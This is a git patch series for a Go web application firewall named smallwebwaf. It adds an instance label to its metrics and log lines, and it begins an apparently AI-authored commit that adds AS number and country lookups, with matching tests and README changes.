2) - wantMetric(t, metrics, "smallwebwaf_upstream_duration_seconds_count", 1) - wantMetric(t, metrics, "smallwebwaf_requests_in_flight", 1) - metric(t, metrics, "go_goroutines") - metric(t, metrics, "process_start_time_seconds") + wantMetric(t, metrics, + `smallwebwaf_request_duration_seconds_count{instance="app"}`, 2) + wantMetric(t, metrics, + `smallwebwaf_upstream_duration_seconds_count{instance="app"}`, 1) + wantMetric(t, metrics, `smallwebwaf_requests_in_flight{instance="app"}`, 1) + metric(t, metrics, `go_goroutines{instance="app"}`) + metric(t, metrics, `process_start_time_seconds{instance="app"}`) // A request the app holds is under way until it ends. httpClient := newClient(t) @@ -180,7 +182,7 @@ func TestMetricsCountTheTraffic(t *testing.T) { }() <-arrived - wantMetric(t, scrape(t, addr), "smallwebwaf_requests_in_flight", 2) + wantMetric(t, scrape(t, addr), `smallwebwaf_requests_in_flight{instance="app"}`, 2) releaseApp() err := <-ended @@ -189,7 +191,7 @@ func TestMetricsCountTheTraffic(t *testing.T) { } out.requestLines(t, 5) - wantMetric(t, scrape(t, addr), "smallwebwaf_requests_in_flight", 1) + wantMetric(t, scrape(t, addr), `smallwebwaf_requests_in_flight{instance="app"}`, 1) } func TestMetricsCountLimitsAndBans(t *testing.T) { @@ -219,15 +221,16 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { metrics := s.scrape(scraper) wantMetric(t, metrics, - `smallwebwaf_requests_total{action="denied",status_class="none"}`, 1) - wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{window="minute"}`, 1) - wantMetric(t, metrics, `smallwebwaf_offences_total{kind="limit"}`, 1) - wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 1) - wantMetric(t, metrics, "smallwebwaf_active_bans", 1) - wantMetric(t, metrics, "smallwebwaf_permanent_bans", 0) + `smallwebwaf_requests_total{action="denied",instance="app",status_class="none"}`, 1) + wantMetric(t, metrics, + `smallwebwaf_rate_limit_hits_total{instance="app",window="minute"}`, 1) + wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1) + wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1) + wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 0) clk.advance(time.Hour) - wantMetric(t, s.scrape(scraper), "smallwebwaf_active_bans", 0) + wantMetric(t, s.scrape(scraper), `smallwebwaf_active_bans{instance="app"}`, 0) // A limit broken again right after would ban for three hours, longer // than SWWAF_MAX_BAN_DURATION, so the ban is permanent. @@ -235,13 +238,14 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { s.get(client, 0, requestlog.ActionRateLimited) metrics = s.scrape(scraper) - wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{window="minute"}`, 2) - wantMetric(t, metrics, `smallwebwaf_offences_total{kind="limit"}`, 2) - wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 2) - wantMetric(t, metrics, "smallwebwaf_active_bans", 1) - wantMetric(t, metrics, "smallwebwaf_permanent_bans", 1) + wantMetric(t, metrics, + `smallwebwaf_rate_limit_hits_total{instance="app",window="minute"}`, 2) + wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 2) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 2) + wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1) + wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1) // denied, client, and the scraper as of its earlier requests. - wantMetric(t, metrics, "smallwebwaf_tracked_clients", 3) + wantMetric(t, metrics, `smallwebwaf_tracked_clients{instance="app"}`, 3) } func TestMetricsCountTheBansAnAdminMakes(t *testing.T) { @@ -255,7 +259,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) { rateLimitExemptNets: scraper, }) - const admins = `smallwebwaf_bans_made_total{cause="admin"}` + const admins = `smallwebwaf_bans_made_total{cause="admin",instance="app"}` wantMetric(t, s.scrape(scraper), admins, 0) @@ -319,28 +323,42 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { metrics := scrape(t, addr) lines++ - wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="KP"}`, 3) - wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="DE"}`, 2) - wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="other"}`, 1) - wantMetric(t, metrics, `smallwebwaf_country_list_refusals_total{country="KP"}`, 3) - wantMetric(t, metrics, `smallwebwaf_country_request_bytes_total{country="KP"}`, 0) - wantMetric(t, metrics, `smallwebwaf_country_request_bytes_total{country="DE"}`, 6) - wantMetric(t, metrics, `smallwebwaf_country_response_bytes_total{country="KP"}`, + wantMetric(t, metrics, + `smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3) + wantMetric(t, metrics, + `smallwebwaf_country_requests_total{country="DE",instance="app"}`, 2) + wantMetric(t, metrics, + `smallwebwaf_country_requests_total{country="other",instance="app"}`, 1) + wantMetric(t, metrics, + `smallwebwaf_country_list_refusals_total{country="KP",instance="app"}`, 3) + wantMetric(t, metrics, + `smallwebwaf_country_request_bytes_total{country="KP",instance="app"}`, 0) + wantMetric(t, metrics, + `smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`, 6) + wantMetric(t, metrics, + `smallwebwaf_country_response_bytes_total{country="KP",instance="app"}`, float64(3*len("Forbidden\n"))) - wantMetric(t, metrics, `smallwebwaf_country_response_bytes_total{country="other"}`, + wantMetric(t, metrics, + `smallwebwaf_country_response_bytes_total{country="other",instance="app"}`, float64(len("hello"))) - wantNoSeries(t, metrics, `smallwebwaf_country_requests_total{country="FR"}`) + wantNoSeries(t, metrics, + `smallwebwaf_country_requests_total{country="FR",instance="app"}`) // Once FR is busier than DE, it takes DE's place: its series counts // from then on, and DE's is gone. send(fromFR, 3, http.StatusOK) metrics = scrape(t, addr) - wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="KP"}`, 3) - wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="FR"}`, 2) - wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="other"}`, 2) - wantNoSeries(t, metrics, `smallwebwaf_country_requests_total{country="DE"}`) - wantNoSeries(t, metrics, `smallwebwaf_country_request_bytes_total{country="DE"}`) + wantMetric(t, metrics, + `smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3) + wantMetric(t, metrics, + `smallwebwaf_country_requests_total{country="FR",instance="app"}`, 2) + wantMetric(t, metrics, + `smallwebwaf_country_requests_total{country="other",instance="app"}`, 2) + wantNoSeries(t, metrics, + `smallwebwaf_country_requests_total{country="DE",instance="app"}`) + wantNoSeries(t, metrics, + `smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`) } func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) { @@ -370,16 +388,16 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) { deadline := time.Now().Add(waitLimit) metrics := scrape(t, addr) - for metric(t, metrics, "smallwebwaf_geojs_failures_total") == 0 && + for metric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`) == 0 && time.Now().Before(deadline) { time.Sleep(pollInterval) metrics = scrape(t, addr) } - wantMetric(t, metrics, "smallwebwaf_geojs_requests_total", 1) - wantMetric(t, metrics, "smallwebwaf_geojs_failures_total", 1) - wantMetric(t, metrics, "smallwebwaf_geojs_unanswered_total", 1) + wantMetric(t, metrics, `smallwebwaf_geojs_requests_total{instance="app"}`, 1) + wantMetric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`, 1) + wantMetric(t, metrics, `smallwebwaf_geojs_unanswered_total{instance="app"}`, 1) } // keptAnswer returns GeoJS's answer that the client at addr is in @@ -422,8 +440,9 @@ func (s *sender) scrape(from string) string { // metric returns the value of series in metrics, which are in the // Prometheus text format. series is a name and its labels in the order of -// their names, such as smallwebwaf_offences_total{kind="limit"}. It fails -// the test if there is no such series. +// their names, such as +// smallwebwaf_offences_total{instance="app",kind="limit"}. It fails the +// test if there is no such series. func metric(t *testing.T, metrics, series string) float64 { t.Helper() @@ -471,7 +490,8 @@ func wantNoSeries(t *testing.T, metrics, series string) { func wantLimitHits(t *testing.T, addr, limit string, hits int) { t.Helper() - series := `smallwebwaf_size_and_time_limit_hits_total{limit="` + limit + `"}` + series := `smallwebwaf_size_and_time_limit_hits_total{instance="app",limit="` + + limit + `"}` metrics := scrape(t, addr) if hits == 0 { diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index 5a7f015..c63ceb2 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -6,7 +6,6 @@ import ( "errors" "io" "net/http" - "os" "reflect" "slices" "strings" @@ -123,10 +122,8 @@ func wantAnswer(t *testing.T, got answer, body []byte) { func wantRequestFields(t *testing.T, line logLine, host string, sent, received int) { t.Helper() - hostname, _ := os.Hostname() - want := withTimings(line, requestlog.Line{ - Type: requestType, Time: line.Time, Instance: hostname, + Type: requestType, Time: line.Time, Instance: "app", ClientIP: localhost, Method: http.MethodPatch, Scheme: plain, Host: host, Path: rawPath, Query: rawQuery, Protocol: protocol, Status: http.StatusTeapot, RequestBytes: int64(sent), @@ -318,7 +315,7 @@ func TestServerHasTheDefaultLimits(t *testing.T) { server := proxy.New(proxy.Params{ Config: cfg, RequestLog: io.Discard, - ProcessLog: requestlog.NewProcessLogger(io.Discard), + ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName), }) if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 || diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 1650cb6..21b1000 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -88,7 +88,7 @@ type Server struct { // applies the timeouts and size limits from then on. func New(params Params) *Server { errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) - m := metrics.New(params.Config.MetricsTopN) + m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName) h := &handler{ config: params.Config, requestLog: params.RequestLog, diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index e47ed89..cb6fa66 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -217,7 +217,9 @@ func startProxyWithGeoJS( // startProxyWithClock is startProxyWithGeoJS with requests counted and // bans made by the time now tells, and returns the server as well. Unless -// env sets SWWAF_RULES_DIR, it is an empty directory, of no rules. +// env sets SWWAF_RULES_DIR, it is an empty directory, of no rules, and +// unless it sets SWWAF_INSTANCE_NAME, that is app, the label instance of +// every metric. func startProxyWithClock( t *testing.T, appURL, geojsURL string, now func() time.Time, env map[string]string, @@ -238,7 +240,9 @@ func startProxyWithAlerts( ) (string, *output, *proxy.Server, *alerts.Queue) { t.Helper() - settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir()} + settings := map[string]string{ + "SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app", + } maps.Copy(settings, env) cfg, err := config.FromEnvironment(func(name string) (string, bool) { @@ -251,7 +255,7 @@ func startProxyWithAlerts( } out := &output{} - processLog := requestlog.NewProcessLogger(out) + processLog := requestlog.NewProcessLogger(out, cfg.InstanceName) ruleFiles, err := rules.Load(rules.Params{ Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, diff --git a/internal/proxy/rulefiles_test.go b/internal/proxy/rulefiles_test.go index 7d85882..db27689 100644 --- a/internal/proxy/rulefiles_test.go +++ b/internal/proxy/rulefiles_test.go @@ -197,15 +197,15 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) { metrics := s.scrape(scraper) wantMetric(t, metrics, - `smallwebwaf_rule_matches_total{action="block",rule_id="blocked"}`, 1) + `smallwebwaf_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1) wantMetric(t, metrics, - `smallwebwaf_rule_matches_total{action="ban",rule_id="probe"}`, 1) - wantMetric(t, metrics, "smallwebwaf_rules_loaded", 2) - wantMetric(t, metrics, - `smallwebwaf_requests_total{action="rule_blocked",status_class="4xx"}`, 1) - wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack"}`, 1) - wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 0) - wantMetric(t, metrics, "smallwebwaf_permanent_bans", 1) + `smallwebwaf_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1) + wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2) + wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+ + `instance="app",status_class="4xx"}`, 1) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0) + wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1) } // writeRules writes content as a rule file into a new directory, and diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index f7330c2..d18ffb2 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -171,8 +171,8 @@ func Milliseconds(d time.Duration) float64 { // NewProcessLogger returns the logger for the process's own messages: // JSON lines on w, marked "type":"process", with the time in the same form -// as a request line's. -func NewProcessLogger(w io.Writer) *slog.Logger { +// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance. +func NewProcessLogger(w io.Writer, instanceName string) *slog.Logger { handler := slog.NewJSONHandler(w, &slog.HandlerOptions{ ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr { if attr.Key == slog.TimeKey && len(groups) == 0 { @@ -183,5 +183,5 @@ func NewProcessLogger(w io.Writer) *slog.Logger { }, }) - return slog.New(handler).With("type", "process") + return slog.New(handler).With("type", "process", "instance", instanceName) } diff --git a/internal/requestlog/requestlog_test.go b/internal/requestlog/requestlog_test.go index 38303b6..eae737e 100644 --- a/internal/requestlog/requestlog_test.go +++ b/internal/requestlog/requestlog_test.go @@ -65,12 +65,12 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) { } } -func TestProcessLinesAreMarkedProcess(t *testing.T) { +func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) { t.Parallel() var out bytes.Buffer - requestlog.NewProcessLogger(&out).Info("starting", "version", "v1") + requestlog.NewProcessLogger(&out, "fsn1app1/gitea").Info("starting", "version", "v1") var fields map[string]any @@ -79,8 +79,9 @@ func TestProcessLinesAreMarkedProcess(t *testing.T) { t.Fatalf("decode %q: %v", out.String(), err) } - if fields["type"] != "process" || fields["msg"] != "starting" || - fields["level"] != "INFO" || fields["version"] != "v1" { + if fields["type"] != "process" || fields["instance"] != "fsn1app1/gitea" || + fields["msg"] != "starting" || fields["level"] != "INFO" || + fields["version"] != "v1" { t.Errorf("process line %v", fields) } diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 94113fb..b2c1fda 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -68,7 +68,8 @@ func Main(version string) int { // requests until ctx is done. It returns the process's exit status, 1 // when smallwebwaf cannot start. func Run(ctx context.Context, params Params) int { - processLog := requestlog.NewProcessLogger(params.Stdout) + processLog := requestlog.NewProcessLogger(params.Stdout, + config.InstanceName(params.LookupEnv)) cfg, err := config.FromEnvironment(params.LookupEnv) if err != nil { @@ -86,7 +87,7 @@ func Run(ctx context.Context, params Params) int { if cfg.LogRemoteURL != nil { remote = newRemoteLogSender(cfg) stdout = io.MultiWriter(params.Stdout, remote) - processLog = requestlog.NewProcessLogger(stdout) + processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName) stopSending := startSending(ctx, remote, processLog) defer stopSending() diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index e0e9099..bcc097b 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -38,10 +38,14 @@ const ( stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rulesDir = "SWWAF_RULES_DIR" + instanceName = "SWWAF_INSTANCE_NAME" adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name // adminSecret is the SWWAF_ADMIN_TOKEN the tests set. adminSecret = "fedcba9876543210fedcba9876543210" + // instance is the SWWAF_INSTANCE_NAME the tests set where they look at + // it. + instance = "fsn1app1/gitea" // greeting is what the tests' app answers. greeting = "hello from the app" ) @@ -118,7 +122,10 @@ func TestInvalidSettingStopsTheStart(t *testing.T) { out := &output{} - status := run(t.Context(), map[string]string{"SWWAF_REQUEST_MAX_BYTES": "lots"}, out) + status := run(t.Context(), map[string]string{ + "SWWAF_REQUEST_MAX_BYTES": "lots", + instanceName: instance, + }, out) if status != 1 { t.Errorf("exit status %d, want 1", status) } @@ -126,7 +133,8 @@ func TestInvalidSettingStopsTheStart(t *testing.T) { line := out.line(t, "msg", "invalid setting") message, _ := line["error"].(string) - if line["type"] != "process" || line["level"] != "ERROR" || + if line["type"] != "process" || line["instance"] != instance || + line["level"] != "ERROR" || !strings.HasPrefix(message, "SWWAF_REQUEST_MAX_BYTES: ") { t.Errorf("start refused with %v", line) } @@ -231,6 +239,46 @@ func TestServesUntilToldToStop(t *testing.T) { out.line(t, "msg", "stopped") } +func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) { + t.Parallel() + + const token = "0123456789abcdef0123456789abcdef" + + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + rulesDir: t.TempDir(), + metricsToken: token, + instanceName: instance, + } + + var metrics string + + out := runUntilStopped(t, env, func(url string) { + metrics = metricsText(t, url+"_smallwebwaf/metrics", token) + }) + + // The process's lines from its start to its stop, and the request's. + for line := range strings.Lines(out.text()) { + var fields map[string]any + + err := json.Unmarshal([]byte(line), &fields) + if err != nil || fields["instance"] != instance { + t.Errorf("line %q (%v), want instance %s", line, err, instance) + } + } + + // Each series, Go's and the process's included; the other lines are + // the comments. + for line := range strings.Lines(metrics) { + if !strings.HasPrefix(line, "#") && + !strings.Contains(line, `instance="fsn1app1/gitea"`) { + t.Errorf("series %q, without instance=\"fsn1app1/gitea\"", line) + } + } +} + func TestStateKeptAcrossRestarts(t *testing.T) { t.Parallel() @@ -519,6 +567,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { "SWWAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(), "SWWAF_LOG_REMOTE_BUFFER": "1", metricsToken: token, + instanceName: instance, } out := runUntilStopped(t, env, func(url string) { @@ -528,16 +577,17 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { // last. metrics := metricsText(t, url+"_smallwebwaf/metrics", token) for _, series := range []string{ - "smallwebwaf_remote_log_lines_sent_total 0", - "smallwebwaf_remote_log_buffer_depth 1", + `smallwebwaf_remote_log_lines_sent_total{instance="fsn1app1/gitea"} 0`, + `smallwebwaf_remote_log_buffer_depth{instance="fsn1app1/gitea"} 1`, } { if !strings.Contains(metrics, "\n"+series+"\n") { t.Errorf("no %q in the metrics:\n%s", series, metrics) } } - if strings.Contains(metrics, "\nsmallwebwaf_remote_log_lines_dropped_total 0\n") || - !strings.Contains(metrics, "\nsmallwebwaf_remote_log_lines_dropped_total ") { + const dropped = "\nsmallwebwaf_remote_log_lines_dropped_total" + + `{instance="fsn1app1/gitea"} ` + if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) { t.Errorf("no line dropped in the metrics:\n%s", metrics) } @@ -547,6 +597,13 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { }) out.line(t, "type", "request") + + // While the lines are sent, the process's lines give the instance name + // too. + line := out.line(t, "msg", "starting") + if line["instance"] != instance { + t.Errorf("start logged with instance %v, want %s", line["instance"], instance) + } } func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { @@ -569,6 +626,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { rulesDir: rules, "SWWAF_ALERT_WEBHOOK_URL": webhook.url, "SWWAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret, + instanceName: instance, } runUntilStopped(t, env, func(url string) { @@ -622,19 +680,13 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { runUntilStopped(t, env, func(url string) { webhook.waitFor(t, "permanent_ban", true) - // As long as that takes, so that a slow test process cannot fail - // the test. - const sent = "\nsmallwebwaf_alerts_sent_total{destination=\"webhook\"} 1\n" + const ofWebhook = `{destination="webhook",instance="fsn1app1/gitea"}` - metrics := metricsText(t, url+"_smallwebwaf/metrics", token) - for !strings.Contains(metrics, sent) { - time.Sleep(pollInterval) - - metrics = metricsText(t, url+"_smallwebwaf/metrics", token) - } + metrics := metricsWith(t, url+"_smallwebwaf/metrics", token, + "\nsmallwebwaf_alerts_sent_total"+ofWebhook+" 1\n") for _, series := range []string{"failed", "suppressed", "dropped"} { - zero := "\nsmallwebwaf_alerts_" + series + "_total{destination=\"webhook\"} 0\n" + zero := "\nsmallwebwaf_alerts_" + series + "_total" + ofWebhook + " 0\n" if !strings.Contains(metrics, zero) { t.Errorf("no %q in the metrics:\n%s", zero, metrics) } @@ -662,7 +714,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { // The metrics are read from 127.0.0.1, which no limit counts. "SWWAF_ALLOW_NETS": localhost + "/32", metricsToken: token, - "SWWAF_INSTANCE_NAME": "fsn1app1/gitea", + instanceName: instance, "SWWAF_ALERT_SLACK_WEBHOOK_URL": slack.url, "SWWAF_ALERT_NTFY_URL": ntfy.url, "SWWAF_ALERT_NTFY_TOKEN": ntfyToken, @@ -698,17 +750,13 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { // webhook, which is not set. As long as that takes, so that a slow // test process cannot fail the test. sent := []string{ - "\nsmallwebwaf_alerts_sent_total{destination=\"slack\"} 1\n", - "\nsmallwebwaf_alerts_sent_total{destination=\"ntfy\"} 1\n", - } - - metrics := metricsText(t, url+"_smallwebwaf/metrics", token) - for !strings.Contains(metrics, sent[0]) || !strings.Contains(metrics, sent[1]) { - time.Sleep(pollInterval) - - metrics = metricsText(t, url+"_smallwebwaf/metrics", token) + "\nsmallwebwaf_alerts_sent_total{destination=\"slack\"," + + "instance=\"fsn1app1/gitea\"} 1\n", + "\nsmallwebwaf_alerts_sent_total{destination=\"ntfy\"," + + "instance=\"fsn1app1/gitea\"} 1\n", } + metrics := metricsWith(t, url+"_smallwebwaf/metrics", token, sent...) if strings.Contains(metrics, `destination="webhook"`) { t.Errorf("the metrics give the webhook:\n%s", metrics) } @@ -974,6 +1022,26 @@ func metricsText(t *testing.T, url, token string) string { return string(body) } +// metricsWith asks for the metrics at url with token until they hold each +// of series, as long as that takes, so that a slow test process cannot +// fail the test, and returns them. +func metricsWith(t *testing.T, url, token string, series ...string) string { + t.Helper() + + for { + metrics := metricsText(t, url, token) + + missing := slices.ContainsFunc(series, func(one string) bool { + return !strings.Contains(metrics, one) + }) + if !missing { + return metrics + } + + time.Sleep(pollInterval) + } +} + // askAsAdmin sends a request with method to url, with body and // adminSecret, and checks that it is answered 200. func askAsAdmin(t *testing.T, method, url, body string) { diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 1accc7d..a280ec6 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -736,8 +736,8 @@ func TestWritesAreCountedInTheMetrics(t *testing.T) { } const ( - ofBans = `{file="bans.json"}` - ofClients = `{file="clients.json"}` + ofBans = `{file="bans.json",instance="app"}` + ofClients = `{file="clients.json",instance="app"}` ) got := scrape(t, params) @@ -1162,7 +1162,7 @@ func TestEditsTakenInAreCountedInTheMetrics(t *testing.T) { wantTakenIn(t, lines, dir, bansJSON) wantMetric(t, scrape(t, params), - `smallwebwaf_state_file_edits_taken_in_total{file="bans.json"}`, 2) + `smallwebwaf_state_file_edits_taken_in_total{file="bans.json",instance="app"}`, 2) } func TestEditTakenInByAWriteIsLoggedAsWatchLogsIt(t *testing.T) { @@ -1227,7 +1227,7 @@ func TestEditsSetAsideAreCountedInTheMetrics(t *testing.T) { } wantMetric(t, scrape(t, params), - `smallwebwaf_state_file_edits_set_aside_total{file="bans.json"}`, 1) + `smallwebwaf_state_file_edits_set_aside_total{file="bans.json",instance="app"}`, 1) } func TestDirectoryThatCannotBeWatchedIsLogged(t *testing.T) { @@ -1262,7 +1262,7 @@ func midnight() time.Time { // hour, are never sent. func newParams(dir string) state.Params { discard := slog.New(slog.DiscardHandler) - m := metrics.New(1) + m := metrics.New(1, "app") return state.Params{ Dir: dir, @@ -1647,8 +1647,8 @@ func scrape(t *testing.T, params state.Params) string { } // metric returns the value of series in text, the metrics, such as -// smallwebwaf_state_file_writes_total{file="bans.json"}, or fails the test -// if there is no such series. +// smallwebwaf_state_file_writes_total{file="bans.json",instance="app"}, or +// fails the test if there is no such series. func metric(t *testing.T, text, series string) float64 { t.Helper() @@ -1677,7 +1677,7 @@ func wantWriteFailed(t *testing.T, params state.Params, name string) { t.Helper() got := scrape(t, params) - file := `{file="` + name + `"}` + file := `{file="` + name + `",instance="app"}` wantMetric(t, got, "smallwebwaf_state_file_writes_total"+file, 1) wantMetric(t, got, "smallwebwaf_state_file_write_failures_total"+file, 1) From 26f4abef7f47f4b8aef7aec6b8408a8f3371f2e1 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 08:46:01 +0200 Subject: [PATCH 34/64] AS number and country looked up for every client (closes #95) GeoJS's geo.json is asked about every new visitor unless SWWAF_LOOKUP_SOURCE is off. A request waits for its client's first answer only while a country list or SWWAF_ADD_LOOKUP_HEADERS needs it; otherwise the answer reaches the client's history and ban notes when it comes. The AS number and name go beside the country in the request log, history, ban notes, alerts and lookups.json, with metrics by AS number; 64512 counts as unknown. A client's own X-Client-ASN and X-Client-Country never reach the app, whatever the setting says, and make example-app sends no address to GeoJS. Judgement call: AS numbers are written AS64496, as SPEC's settings write them. Judgement call: SWWAF_LOOKUP_TIMEOUT is added, default 1s, and cannot be off. Model: opus-5-5 --- README.md | 258 +++++++++++-------- internal/alerts/alerts.go | 5 +- internal/bans/bans.go | 28 +- internal/bans/bans_test.go | 39 +++ internal/config/config.go | 67 ++++- internal/config/config_test.go | 74 ++++++ internal/lookup/lookup.go | 188 +++++++++----- internal/lookup/lookup_test.go | 195 +++++++++++++- internal/lookup/snapshot_test.go | 7 +- internal/metrics/busiest.go | 155 +++++++++++ internal/metrics/countries.go | 116 --------- internal/metrics/metrics.go | 28 +- internal/proxy/bans.go | 6 + internal/proxy/bans_test.go | 7 +- internal/proxy/countries.go | 32 +-- internal/proxy/countries_test.go | 133 +++++++--- internal/proxy/history_test.go | 8 +- internal/proxy/lookup.go | 64 +++++ internal/proxy/lookup_test.go | 313 +++++++++++++++++++++++ internal/proxy/metrics_test.go | 43 +++- internal/proxy/proxy.go | 25 +- internal/proxy/proxy_test.go | 59 +++-- internal/proxy/ratelimits_test.go | 3 +- internal/proxy/request.go | 54 +++- internal/ratelimit/history_test.go | 43 +++- internal/ratelimit/ratelimit.go | 33 ++- internal/requestlog/requestlog.go | 5 +- internal/smallwebwaf/smallwebwaf_test.go | 6 +- internal/state/state_test.go | 19 +- script/example-app | 12 +- 30 files changed, 1569 insertions(+), 456 deletions(-) create mode 100644 internal/metrics/busiest.go delete mode 100644 internal/metrics/countries.go create mode 100644 internal/proxy/lookup.go create mode 100644 internal/proxy/lookup_test.go diff --git a/README.md b/README.md index a862563..07e1a62 100644 --- a/README.md +++ b/README.md @@ -22,26 +22,28 @@ fields, which come a little later, and the metrics endpoint and the header size and the idle time as settings, which come last in it. So are the four parts of the stage after it: the rule files, with the bans for a clear sign of attack, the other admin endpoints, alerts to all three destinations, a JSON webhook, -Slack and ntfy, and remote log sending. `smallwebwaf` passes each request to the -app and the app's answer back, unchanged, within its timeouts and size limits, -works out each client's address, bans a client that sends too many requests, not -counting those for the paths you choose, refuses a client that comes from a -country you refuse or from a network you refuse, lets the networks you choose -through, checks each request against the rule files and bans a client whose -request is a clear sign of attack, keeps its bans, each client's counters and -history, and GeoJS's answers in JSON files across restarts, takes in your edits -of those files, such as a ban you make, keep or lift, and of the rule files -while it runs, writes a JSON log line for every request, sends its log lines to -a syslog server too if you name one, sends an alert to a webhook, to Slack and -to ntfy, each if you name one, for each ban it makes or makes permanent, for -GeoJS failing and for a rule file or state file with an error, serves Prometheus -metrics to a scraper that holds the metrics token, lets an admin who holds the -admin token list, add and lift bans and ask what it knows of a client, and in -`observe` mode passes on the requests it would refuse, logging what it would -have done with them. It comes as the image the app's own image is built on. The -rest of the design comes after that, in the order of the build order in -[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in -[`EVALUATION.md`](EVALUATION.md). +Slack and ntfy, and remote log sending. So is the first part of the stage after +that: the AS number and country of every client, looked up through GeoJS. +`smallwebwaf` passes each request to the app and the app's answer back, +unchanged, within its timeouts and size limits, works out each client's address, +looks up its AS number and country unless you switch that off, bans a client +that sends too many requests, not counting those for the paths you choose, +refuses a client that comes from a country you refuse or from a network you +refuse, lets the networks you choose through, checks each request against the +rule files and bans a client whose request is a clear sign of attack, keeps its +bans, 